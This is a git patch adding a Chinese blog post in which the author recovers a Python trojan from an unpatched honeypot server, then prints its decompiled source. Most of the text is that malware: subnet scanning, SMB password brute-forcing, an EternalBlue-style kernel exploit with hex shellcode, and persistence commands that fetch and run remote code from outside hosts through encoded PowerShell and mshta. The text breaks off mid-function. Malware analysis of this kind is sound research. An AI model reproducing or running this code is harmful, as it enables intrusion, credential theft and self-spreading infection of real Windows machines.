From 3de3d63d77d38e5de14c1ed8164e7435599fe5eb Mon Sep 17 00:00:00 2001 From: mayx Date: Sat, 2 Nov 2024 12:32:13 +0000 Subject: Update 2 files - /links.md - /_posts/2024-11-02-trojan.md--- _posts/2024-11-02-trojan.md | 1875 +++++++++++++++++++++++++++++++++++++++++++ links.md | 2 +- 2 files changed, 1876 insertions(+), 1 deletion(-) create mode 100644 _posts/2024-11-02-trojan.md diff --git a/_posts/2024-11-02-trojan.md b/_posts/2024-11-02-trojan.md new file mode 100644 index 0000000..b03bbef --- /dev/null +++ b/_posts/2024-11-02-trojan.md @@ -0,0 +1,1875 @@ +--- +layout: post +title: 关于Python制作的木马探索 +tags: [Python, 木马, 病毒] +--- + + 想不到木马病毒居然也可以用Python写😆 + +# 起因 + 在一年前阿里云搞了个高校学生免费领300CNY券的活动,那时候我领了一张并且零元购了一个香港的2c1g轻量服务器,在这一年里它为我做了许多,不仅当延迟极低的梯子,另外还运行着H@H给我赚Hath。一年过后的现在它马上就要过期了,当时我让我的同学也领了一张,正好等到我服务器快过期的时候买,于是我创好服务器并且把我的东西都迁过去,之后旧的服务器就没什么用了。 + 那在它剩下的最后几天让它干些什么好呢?首先Linux系统感觉没啥意思,装个Windows玩玩吧。不过香港阿里云在装了Linux系统之后是不允许切换成Windows的,而且如果买的时候装Windows还需要额外付费,所以我用了一个[一键DD/重装脚本](https://github.com/bin456789/reinstall)把我的系统重装成Windows Server 2008。不过其实就算刷成Windows也不能改变它没啥用的事实,所以我给它设置了超简单的密码,并且没有装任何补丁,防火墙全关掉,让它在网络上成为能被随意攻破的肉鸡吧。 + 在这之后没几天我登上去看了一眼,其实看不出来啥,毕竟就算被入侵了绝大多数情况都是被人当备用的,一般人也不会闲着把上面的文件全删掉,把系统搞崩。所以我安了个360,看看有没有中木马,结果还真中了,在Temp目录下多了个“svchost.exe”文件(虽然还有其他的木马文件但不是Python的所以不感兴趣),而且看图标居然是pyinstaller打包的!这让我有点感兴趣了,其他语言写的编译之后很难看出来什么,而且我也看不懂其他语言写的东西,但是Python我至少还是能看懂的,所以我就下载了这个样本尝试获得它的源代码。 + +# 提取源代码 + pyinstaller解包还是挺简单的,用[PyInstaller Extractor](https://github.com/extremecoders-re/pyinstxtractor)就可以,首先我在我的电脑上尝试解包,不过因为Python版本不对,里面的PYZ文件不能解包,并且提示我使用Python 2.7的环境再试一次。我找了台装有Python 2.7环境的服务器又执行了一次之后就全部解包完了。想不到这个木马居然没有加密😂,直接就能解压,不过就算加密了我之前看过一篇[文章](https://www.cnblogs.com/liweis/p/15891170.html)可以进行解密。 + 不过现在得到的文件都是字节码pyc文件,还需要反编译才能看到源代码,这个步骤也很简单,安装个[uncompyle6](https://github.com/rocky/python-uncompyle6)工具就可以。它的主程序名字叫“ii.py”,于是我反编译了一下,不过看起来作者还整了一些混淆,但是极其简单,就把几个函数换成一串变量而已,所以写了个简单的脚本给它还原回去了,最终处理的结果如下(里面有个[混淆过的PowerShell版mimikatz](https://github.com/DanMcInerney/Invoke-Cats),太长了所以我给删掉了): +```python +# uncompyle6 version 3.9.2 +# Python bytecode version base 2.7 (62211) +# Decompiled from: Python 2.7.18 (default, Jun 24 2022, 18:01:55) +# [GCC 8.5.0 20210514 (Red Hat 8.5.0-13)] +# Embedded file name: ii.py + +import subprocess +import re +import binascii +import socket +import struct +import threading +import os +import random +import platform +from urllib2 import urlopen +from json import load +from impacket import smb, smbconnection +from mysmb import MYSMB +from struct import pack, unpack, unpack_from +import sys +import socket +import time +from psexec import PSEXEC +iplist = ['192.168.0.1/24', '192.168.1.1/24', '192.168.2.1/24', '192.168.3.1/24', '192.168.4.1/24', + '192.168.5.1/24', '192.168.6.1/24', '192.168.7.1/24', '192.168.8.1/24', '192.168.9.1/24', + '192.168.10.1/24', '192.168.18.1/24', '192.168.31.1/24', '192.168.199.1/24', + '192.168.254.1/24', '192.168.67.1/24', '10.0.0.1/24', '10.0.1.1/24', '10.0.2.1/24', + '10.1.1.1/24', '10.90.90.1/24', '10.1.10.1/24', '10.10.1.1/24'] +userlist = ['', 'Administrator', 'user', 'admin', 'test', 'hp', 'guest'] +userlist2 = ['', 'Administrator', 'admin'] +passlist = ['', '123456', 'password', 'qwerty', '12345678', '123456789', '123', '1234', + '123123', '12345', '12345678', '123123123', '1234567890', '88888888', '111111111', + '000000', '111111', '112233', '123321', '654321', '666666', '888888', 'a123456', + '123456a', '5201314', '1qaz2wsx', '1q2w3e4r', 'qwe123', '123qwe', 'a123456789', + '123456789a', 'baseball', 'dragon', 'football', 'iloveyou', 'password', + 'sunshine', 'princess', 'welcome', 'abc123', 'monkey', '!@#$%^&*', 'charlie', + 'aa123456', 'Aa123456', 'admin', 'homelesspa', 'password1', '1q2w3e4r5t', + 'qwertyuiop', '1qaz2wsx'] +domainlist = [''] +nip = [] +ntlist = [] + +# remove mkatz cause it is too long(https://github.com/DanMcInerney/Invoke-Cats) +mkatz = '' + +def find_ip(): + global iplist2 + ipconfig_process = subprocess.Popen('ipconfig /all', stdout=subprocess.PIPE) + output = ipconfig_process.stdout.read() + result = re.findall('\\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\b', output) + for ipaddr in result: + if ipaddr != '127.0.0.1' and ipaddr != '255.255.255.0' and ipaddr != '0.0.0.0': + ipaddr = ipaddr.split('.')[0] + '.' + ipaddr.split('.')[1] + '.' + ipaddr.split('.')[2] + '.1/24' + iplist.append(ipaddr) + + netstat_process = subprocess.Popen('netstat -na', stdout=subprocess.PIPE) + output2 = netstat_process.stdout.read() + result2 = re.findall('\\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\b', output2) + for ip in result2: + if ip != '127.0.0.1' and ip != '0.0.0.0' and ip != '255.255.0.0' and ip != '1.1.1.1': + ip = ip.split('.')[0] + '.' + ip.split('.')[1] + '.' + ip.split('.')[2] + '.1/24' + iplist.append(ip) + + try: + ipp1 = urlopen('http://ip.42.pl/raw', timeout=3).read() + ipp1 = ipp1.split('.')[0] + '.' + ipp1.split('.')[1] + '.' + ipp1.split('.')[2] + '.1/24' + ipp2 = load(urlopen('http://jsonip.com', timeout=3))['ip'] + ipp2 = ipp2.split('.')[0] + '.' + ipp2.split('.')[1] + '.' + ipp2.split('.')[2] + '.1/24' + iplist.append(ipp1) + iplist.append(ipp2) + except: + pass + + iplist2 = list(set(iplist)) + iplist2.sort(key=iplist.index) + return iplist2 + + +def xip(numb): + del nip[:] + for n in xrange(numb): + ipp = socket.inet_ntoa(struct.pack('>I', random.randint(1, 4294967295L))) + ipp = ipp.split('.')[0] + '.' + ipp.split('.')[1] + '.' + ipp.split('.')[2] + '.1/24' + nip.append(ipp) + + return nip + + +def scan(ip, p): + global timeout + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(float(timeout) if timeout else None) + try: + s.connect((ip, p)) + return 1 + except Exception as e: + return 0 + + +def scan2(ip, p): + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(float(2)) + try: + s.connect((ip, p)) + return 1 + except Exception as e: + return 0 + + +def scan3(ip, p): + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(float(1)) + try: + s.connect((ip, p)) + return 1 + except Exception as e: + return 0 + + +def validate(ip, fr): + global dl + global domainlist + global ee2 + global passlist + global userlist2 + for u in userlist2: + for p in passlist: + if u == '' and p != '': + continue + for d in domainlist: + if PSEXEC(ee2, dl, 'cmd.exe /c schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\\Microsoft\\windows\\Bluetooths" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F&&c:\\windows\\temp\\svchost.exe', u, p, d, fr).run(ip): + print 'SMB Succ!' + return + + +def validate2(ip, fr): + global ntlist + for u in userlist2: + for d in domainlist: + for n in ntlist: + if PSEXEC(ee2, dl, 'cmd.exe /c schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\\Microsoft\\windows\\Bluetooths" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F&&c:\\windows\\temp\\svchost.exe', u, '', d, fr, '00000000000000000000000000000000:' + n).run(ip): + print 'SMB Succ!' + return + + +def scansmb(ip, p): + global semaphore1 + if scan(ip, 445) == 1: + if scan(ip, 65533) == 0: + print 'exp IP:' + ip + try: + validate(ip, '1') + except: + pass + + try: + check_ip(ip, 1) + except: + pass + + try: + validate2(ip, '3') + except: + pass + + semaphore1.release() + + +def scansmb2(ip, p): + if scan2(ip, 445) == 1: + print 'exp IP:' + ip + try: + validate(ip, '2') + except: + pass + + try: + check_ip(ip, 2) + except: + pass + + try: + validate2(ip, '2') + except: + pass + + semaphore1.release() + + +def scansmb3(ip, p): + global semaphore2 + if scan3(ip, 445) == 1: + if scan3(ip, 65533) == 0: + print 'exp IP:' + ip + try: + validate(ip, '2') + except: + pass + + try: + check_ip(ip, 2) + except: + pass + + try: + validate2(ip, '3') + except: + pass + + semaphore2.release() + + +WIN7_64_SESSION_INFO = {'SESSION_SECCTX_OFFSET': 160, 'SESSION_ISNULL_OFFSET': 186, 'FAKE_SECCTX': (pack(' BSOD' + return ( + userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset) + + +def smb_pwn(conn, arch, tg): + ee = '' + eb = 'c:\\windows\\system32\\calc.exe' + smbConn = conn.get_smbconnection() + if os.path.exists('c:/windows/system32/svhost.exe'): + eb = 'c:\\windows\\system32\\svhost.exe' + if os.path.exists('c:/windows/SysWOW64/svhost.exe'): + eb = 'c:\\windows\\SysWOW64\\svhost.exe' + if os.path.exists('c:/windows/system32/drivers/svchost.exe'): + eb = 'c:\\windows\\system32\\drivers\\svchost.exe' + if os.path.exists('c:/windows/SysWOW64/drivers/svchost.exe'): + eb = 'c:\\windows\\SysWOW64\\drivers\\svchost.exe' + service_exec(conn, 'cmd /c net share c$=c:') + if tg == 2: + smb_send_file(smbConn, eb, 'c', '/installed2.exe') + else: + smb_send_file(smbConn, eb, 'c', '/installed.exe') + if os.path.exists('c:/windows/temp/svvhost.exe'): + ee = 'c:\\windows\\temp\\svvhost.exe' + if os.path.exists('c:/windows/temp/svchost.exe'): + ee = 'c:\\windows\\temp\\svchost.exe' + if '.exe' in ee: + smb_send_file(smbConn, ee, 'c', '/windows/temp/svchost.exe') + else: + print 'no eb**************************' + if tg == 2: + bat = 'cmd /c c:\\installed2.exe&c:\\installed2.exe&echo c:\\installed2.exe >c:/windows/temp/p.bat&echo c:\\windows\\temp\\svchost.exe >>c:/windows/temp/p.bat&echo netsh interface ipv6 install >>c:/windows/temp/p.bat &echo netsh firewall add portopening tcp 65532 DNS2 >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo netsh firewall add portopening tcp 65531 DNSS2 >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\\Microsoft\\windows\\Bluetooths" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F) else start /b sc start Schedule^&ping localhost^&sc query Schedule^|findstr RUNNING^&^&^(schtasks /delete /TN Autocheck /f^&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com/page.html?p%COMPUTERNAME%"^&schtasks /run /TN Autocheck^) >>c:/windows/temp/p.bat&echo net start Ddriver >>c:/windows/temp/p.bat&echo for /f %%i in (\'tasklist ^^^| find /c /i "cmd.exe"\'^) do set s=%%i >>c:/windows/temp/p.bat&echo if %s% gtr 10 (shutdown /r) >>c:/windows/temp/p.bat&echo net user k8h3d /del >>c:/windows/temp/p.bat&echo del c:\\windows\\temp\\p.bat>>c:/windows/temp/p.bat&cmd.exe /c c:/windows/temp/p.bat' + else: + bat = 'cmd /c c:\\installed.exe&c:\\installed.exe&echo c:\\installed.exe >c:/windows/temp/p.bat&echo c:\\windows\\temp\\svchost.exe >>c:/windows/temp/p.bat&echo netsh interface ipv6 install >>c:/windows/temp/p.bat &echo netsh firewall add portopening tcp 65532 DNS2 >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo netsh firewall add portopening tcp 65531 DNSS2 >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\\Microsoft\\windows\\Bluetooths" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F) else start /b sc start Schedule^&ping localhost^&sc query Schedule^|findstr RUNNING^&^&^(schtasks /delete /TN Autocheck /f^&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com/page.html?p%COMPUTERNAME%"^&schtasks /run /TN Autocheck^) >>c:/windows/temp/p.bat&echo net start Ddriver >>c:/windows/temp/p.bat&echo for /f %%i in (\'tasklist ^^^| find /c /i "cmd.exe"\'^) do set s=%%i >>c:/windows/temp/p.bat&echo if %s% gtr 10 (shutdown /r) >>c:/windows/temp/p.bat&echo net user k8h3d /del >>c:/windows/temp/p.bat&echo del c:\\windows\\temp\\p.bat>>c:/windows/temp/p.bat&cmd.exe /c c:/windows/temp/p.bat' + service_exec(conn, bat) + + +def smb_send_file(smbConn, localSrc, remoteDrive, remotePath): + with open(localSrc, 'rb') as fp: + smbConn.putFile(remoteDrive + '$', remotePath, fp.read) + + +def service_exec(conn, cmd): + import random + random.choice = random.choice + random.randint = random.randint + import string + from impacket.dcerpc.v5 import transport, srvs, scmr + service_name = ('').join([random.choice(string.letters) for i in range(4)]) + rpcsvc = conn.get_dce_rpc('svcctl') + rpcsvc.connect() + rpcsvc.bind(scmr.MSRPC_UUID_SCMR) + svcHandle = None + try: + try: + print 'Opening SVCManager on %s.....' % conn.get_remote_host() + resp = scmr.hROpenSCManagerW(rpcsvc) + svcHandle = resp['lpScHandle'] + try: + resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name + '\x00') + except Exception as e: + if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1: + raise e + else: + scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle']) + scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle']) + + print 'Creating service %s.....' % service_name + resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00') + serviceHandle = resp['lpServiceHandle'] + if serviceHandle: + try: + print 'Starting service %s.....' % service_name + scmr.hRStartServiceW(rpcsvc, serviceHandle) + time.sleep(2) + print 'Stoping service %s.....' % service_name + scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP) + time.sleep(2) + except Exception as e: + print str(e) + + print 'Removing service %s.....' % service_name + scmr.hRDeleteService(rpcsvc, serviceHandle) + scmr.hRCloseServiceHandle(rpcsvc, serviceHandle) + except Exception as e: + print 'ServiceExec Error on: %s' % conn.get_remote_host() + print str(e) + + finally: + if svcHandle: + scmr.hRCloseServiceHandle(rpcsvc, svcHandle) + + rpcsvc.disconnect() + + +scode = '31c0400f84be03000060e8000000005be823000000b9760100000f328d7b3c39f87411394500740689450089550889f831d20f3061c224008dab00100000c1ed0cc1e50c81ed50000000c3b92300000068300000000fa18ed98ec1648b0d400000008b6104519c60e8000000005be8c5ffffff8b450005170000008944242431c09942f00fb055087512b976010000998b45000f30fbe804000000fa619dc38b4500c1e80cc1e00c2d001000006681384d5a75f4894504b8787cf4dbe8e100000097b83f5f647757e8d500000029f889c13d70010000750505080000008d581c8d341f64a1240100008b3689f229c281fa0004000077f252b8e1140117e8a70000008b400a8d50048d340fe8d70000003d5a6afac174113dd883e03e740a8b3c1729d7e9e0ffffff897d0c8d1c1f8d75105f8b5b04b83e4cf8cee86a0000008b400a3ca077022c0829f8817c03fc0000000074de31c05568010000005550e800000000810424950000005053293c2456b8c45c196de82800000031c050505056b83446ccafe81800000085c074a48b451c80780e01740a8900894004e991ffffffc3e802000000ffe0608b6d04978b453c8b54057801ea8b4a188b5a2001eb498b348b01eee81d00000039f875f18b5a2401eb668b0c4b8b5a1c01eb8b048b01e88944241c61c35231c099acc1ca0d01c285c075f6925ac358894424105859585a6052518b2831c064a22400000099b04050c1e0065054528911514a52b8ea996e57e87bffffff85c07553588b38e8000000005e81c659000000b900040000f3a48b450c50b848b818b8e853ffffff8b400c8b40148b0066817824180075f68b5028817a0c3300320075ea8b5810895d04b85e515e83e82effffff59890131c08845084064a22400000061c35a585859515151e8000000008104240c000000515152ffe0dadeba67042d06d97424f45d31c9b14383c504315513033217cff340ff8dfcb800f2755d3132e1166282617a8f69276e041fe081adaad6ac2e862bafacd57f0f8c15724ec9487f028207d2b2a752ef39fb7377de4c755671c62c78700b45316a48608b01ba1e0ac3f2dfa12a3b12bb6bfccdce85fe70c9527caf5c402624c6acd6e99127d446d56ff9593a0405d1bdca8fa199ced4728357b1d5bc871a8918ccb7de108fdd21a6aa9022b8b4844a893f4b0c16ea2ff2f43e5a9ba0abe7c652062bffd0a2d404c8c7d1414e34a8da3b3a1fda6959f240b2b26fa9dca91b89554281bbb5cf7154856ba2cfd11791651b84bf1f081d60cfcf0504297ea0b01512455a3786feeed823702f46a81d46e659aeec84f824621b88e417e306d78333f87628500655e82e000000b9820000c00f324c8d0d370000004439c87419394500740a895504894500c645f8004991505a48c1ea200f305dc3488d2d0010000048c1ed0c48c1e50c4881ed70000000c30f01f865488924251000000065488b2425a8010000682b00000065ff342510000000505055e8bfffffff488b450048051f00000048894424105152415041514152415331c0b201f00fb055f87514b9820000c08b45008b55040f30fbe80e000000fa415b415a415941585a595d58c341574156575653504c8b7d0049c1ef0c49c1e70c4981ef001000006641813f4d5a75f14c897d08654c8b342588010000bf787cf4dbe8180100004891bf3f5f6477e8130100008b400389c33d0004000072050510000000488d50284c8d04114d89c14d8b094d39c80f84db0000004c89c84c29f0483d0007000077e64d29cebfe1140117e8d00000008b780381c708000000488d3419e8060100003d5a6afac174133dd883e03e740c488b0c394829f9e9ddffffffbf48b818b8e893000000488945f0488d34114889f3488b5b084839de74f74a8d1433bf3e4cf8cee8780000008b400348817c02f80000000074db488d4d104d31c04c8d0db50000005568010000005541504881ec20000000bfc45c196de83b000000488d4d104d31c9bf3446ccafe82a0000004881c44000000085c07497488b452080781a01740c48890048894008e981ffffff585b5e5f415e415fc3e802000000ffe0535156418b473c418b8407880000004c01f8508b48188b58204c01fbffc98b348b4c01fee81f00000039f875ef588b58244c01fb668b0c4b8b581c4c01fb8b048b4c01f85e595bc35231c099acc1ca0d01c285c075f6925ac3555357564157498b284c8b7d08525e4c89cb31c0440f22c048890289c148f7d14989c0b04050c1e006504989014881ec20000000bfea996e57e862ffffff4881c43000000085c07546488b3e488d354e000000b900060000f3a4488b45f0488b4018488b4020488b0066817848180075f5488b5050817a0c3300320075e84c8b7820bf5e515e83e81bffffff48890331c9884df8b101440f22c1415f5e5f5b5dc3489231c951514989c94c8d051300000089ca4881ec20000000ffd04881c430000000c3dac4d97424f4be15624e335f33c9b15731771a83c704037716e2e09e06b0eeaf7f76ee4f8036bf0ed0ea6ec7983b428250b7302d294ce6b5e1d954e6b9562ab671667d7cc835b04884f472e629960ef57d78af38b4756eba86649dee49381584189a2ed8a092310d53a2b9ad64a3f128a4d7667b24c838f06ef0fc8d2f20b5907fc313db80cdda504a469467651b15a1c195959d9314dcd352961fd3b4ed6e683642b4797d63650ca5cbc16415c8807b467653f76a3f178c33a3de93639a6b970b556a484a3e2d3013e7f781f3565e435e11e3af7ee0b1d09fba74763a73fd9a53d4fe645c864821a2394855a5394855edb4c554ecc6d51754f75ef82f07b5bcd0e51fc951acf958ec4dfab647edc01164f7b46b140ca419114863f16bc101f5d25c5c2f1b8b3dbd8014ee5e693b95d449b62670f818a342946b57930fb4f3e0a5fda86c5cad79518f30e1f5e9dc8c81d54c210977e1dabf188c5460860af90926ba72bec45d00515bedc8c6a3793b7df4565a1990a8' +sc = binascii.unhexlify(scode) +NTFEA_SIZE = 69632 +ntfea10000 = pack('= 65535: + flags2 &= ~smb.SMB.FLAGS2_UNICODE + reqSize = size // 2 + else: + flags2 |= smb.SMB.FLAGS2_UNICODE + reqSize = size + conn.set_flags(flags2=flags2) + pkt = smb.NewSMBPacket() + sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) + sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters() + sessionSetup['Parameters']['MaxBufferSize'] = 61440 + sessionSetup['Parameters']['MaxMpxCount'] = 2 + sessionSetup['Parameters']['VcNumber'] = 2 + sessionSetup['Parameters']['SessionKey'] = 0 + sessionSetup['Parameters']['SecurityBlobLength'] = 0 + sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY + sessionSetup['Data'] = pack(' 0: + pad2Len = (4 - fixedOffset % 4) % 4 + transCommand['Data']['Pad2'] = '\xff' * pad2Len + else: + transCommand['Data']['Pad2'] = '' + pad2Len = 0 + transCommand['Parameters']['DataCount'] = len(data) + transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len + transCommand['Parameters']['DataDisplacement'] = displacement + transCommand['Data']['Trans_Parameters'] = '' + transCommand['Data']['Trans_Data'] = data + pkt.addCommand(transCommand) + conn.sendSMB(pkt) + + +def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True): + pkt = smb.NewSMBPacket() + pkt['Tid'] = tid + command = pack(' 0: + padLen = (4 - fixedOffset % 4) % 4 + padBytes = '\xff' * padLen + transCommand['Data']['Pad1'] = padBytes + else: + transCommand['Data']['Pad1'] = '' + padLen = 0 + transCommand['Parameters']['ParameterCount'] = len(param) + transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen + if len(data) > 0: + pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4 + transCommand['Data']['Pad2'] = '\xff' * pad2Len + else: + transCommand['Data']['Pad2'] = '' + pad2Len = 0 + transCommand['Parameters']['DataCount'] = firstDataFragmentSize + transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len + transCommand['Data']['Trans_Parameters'] = param + transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize] + pkt.addCommand(transCommand) + conn.sendSMB(pkt) + conn.recvSMB() + i = firstDataFragmentSize + while i < len(data): + sendSize = min(4096, len(data) - i) + if len(data) - i <= 4096: + if not sendLastChunk: + break + send_trans2_second(conn, tid, data[i:i + sendSize], i) + i += sendSize + + if sendLastChunk: + conn.recvSMB() + return i + + +def createConnectionWithBigSMBFirst80(target): + sk = socket.create_connection((target, 445)) + pkt = '\x00\x00' + pack('>H', 65527) + pkt += 'BAAD' + pkt += '\x00' * 124 + sk.send(pkt) + return sk + + +lock2 = threading.Lock() + +def exploit2(target, shellcode, numGroomConn): + global lock2 + lock2.acquire() + conn = smb.SMB(target, target) + conn.login_standard('', '') + server_os = conn.get_server_os() + print 'Target OS: ' + server_os + if not (server_os.startswith('Windows 7 ') or server_os.startswith('Windows Server ') and ' 2008 ' in server_os or server_os.startswith('Windows Vista')): + print 'This exploit does not support this target' + tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$') + progress = send_big_trans2(conn, tid, 0, feaList, '\x00' * 30, 2000, False) + allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 4112) + srvnetConn = [] + for i in range(numGroomConn): + sk = createConnectionWithBigSMBFirst80(target) + srvnetConn.append(sk) + + holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 16) + allocConn.get_socket().close() + for i in range(5): + sk = createConnectionWithBigSMBFirst80(target) + srvnetConn.append(sk) + + holeConn.get_socket().close() + send_trans2_second(conn, tid, feaList[progress:], progress) + recvPkt = conn.recvSMB() + retStatus = recvPkt.getNTStatus() + if retStatus == 3221225485L: + print 'good response status: INVALID_PARAMETER' + else: + print ('bad response status: 0x{:08x}').format(retStatus) + for sk in srvnetConn: + sk.send(fake_recv_struct + shellcode) + + for sk in srvnetConn: + sk.close() + + conn.disconnect_tree(tid) + conn.logoff() + conn.get_socket().close() + time.sleep(2) + lock2.release() + + +lock3 = threading.Lock() + +def exploit3(target, shellcode, numGroomConn1): + global lock3 + lock3.acquire() + conn3 = smb.SMB(target, target) + conn3.login_standard('', '') + server_os3 = conn3.get_server_os() + print 'Target OS: ' + server_os3 + if not (server_os3.startswith('Windows 7 ') or server_os3.startswith('Windows Server ') and ' 2008 ' in server_os3 or server_os3.startswith('Windows Vista')): + print 'This exploit does not support this target' + tid3 = conn3.tree_connect_andx('\\\\' + target + '\\' + 'IPC$') + progress3 = send_big_trans2(conn3, tid3, 0, feaList, '\x00' * 30, 2000, False) + allocConn3 = createSessionAllocNonPaged(target, NTFEA_SIZE - 4112) + srvnetConn3 = [] + for i in range(numGroomConn1): + sk3 = createConnectionWithBigSMBFirst80(target) + srvnetConn3.append(sk3) + + holeConn3 = createSessionAllocNonPaged(target, NTFEA_SIZE - 16) + allocConn3.get_socket().close() + for i in range(5): + sk3 = createConnectionWithBigSMBFirst80(target) + srvnetConn3.append(sk3) + + holeConn3.get_socket().close() + send_trans2_second(conn3, tid3, feaList[progress3:], progress3) + recvPkt3 = conn3.recvSMB() + retStatus3 = recvPkt3.getNTStatus() + if retStatus3 == 3221225485L: + print 'good response status: INVALID_PARAMETER' + else: + print ('bad response status: 0x{:08x}').format(retStatus3) + for sk3 in srvnetConn3: + sk3.send(fake_recv_struct + shellcode) + + for sk3 in srvnetConn3: + sk3.close() + + conn3.disconnect_tree(tid3) + conn3.logoff() + conn3.get_socket().close() + time.sleep(2) + lock3.release() + + +NEGOTIATE_PROTOCOL_REQUEST = binascii.unhexlify('00000085ff534d4272000000001853c00000000000000000000000000000fffe00004000006200025043204e4554574f524b2050524f4752414d20312e3000024c414e4d414e312e30000257696e646f777320666f7220576f726b67726f75707320332e316100024c4d312e325830303200024c414e4d414e322e3100024e54204c4d20302e313200') +SESSION_SETUP_REQUEST = binascii.unhexlify('00000088ff534d4273000000001807c00000000000000000000000000000fffe000040000dff00880004110a000000000000000100000000000000d40000004b000000000000570069006e0064006f007700730020003200300030003000200032003100390035000000570069006e0064006f007700730020003200300030003000200035002e0030000000') +TREE_CONNECT_REQUEST = binascii.unhexlify('00000060ff534d4275000000001807c00000000000000000000000000000fffe0008400004ff006000080001003500005c005c003100390032002e003100360038002e003100370035002e003100320038005c00490050004300240000003f3f3f3f3f00') +NAMED_PIPE_TRANS_REQUEST = binascii.unhexlify('0000004aff534d42250000000018012800000000000000000000000000088ea3010852981000000000ffffffff0000000000000000000000004a0000004a0002002300000007005c504950455c00') +timeout = 1 +verbose = 0 +threads_num = 255 +if 'Windows-XP' in platform.platform(): + timeout = 1 + threads_num = 2 + semaphore1 = threading.BoundedSemaphore(value=2) + semaphore = threading.BoundedSemaphore(value=2) + semaphore2 = threading.BoundedSemaphore(value=2) +else: + semaphore1 = threading.BoundedSemaphore(value=255) + semaphore = threading.BoundedSemaphore(value=threads_num) + semaphore2 = threading.BoundedSemaphore(value=100) +print_lock = threading.Lock() + +def print_status(ip, message): + global print_lock + with print_lock: + print '[*] [%s] %s' % (ip, message) + + +def check_ip(ip, tg): + global verbose + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(float(timeout) if timeout else None) + host = ip + port = 445 + s.connect((host, port)) + if verbose: + print_status(ip, 'Sending negotiation protocol request') 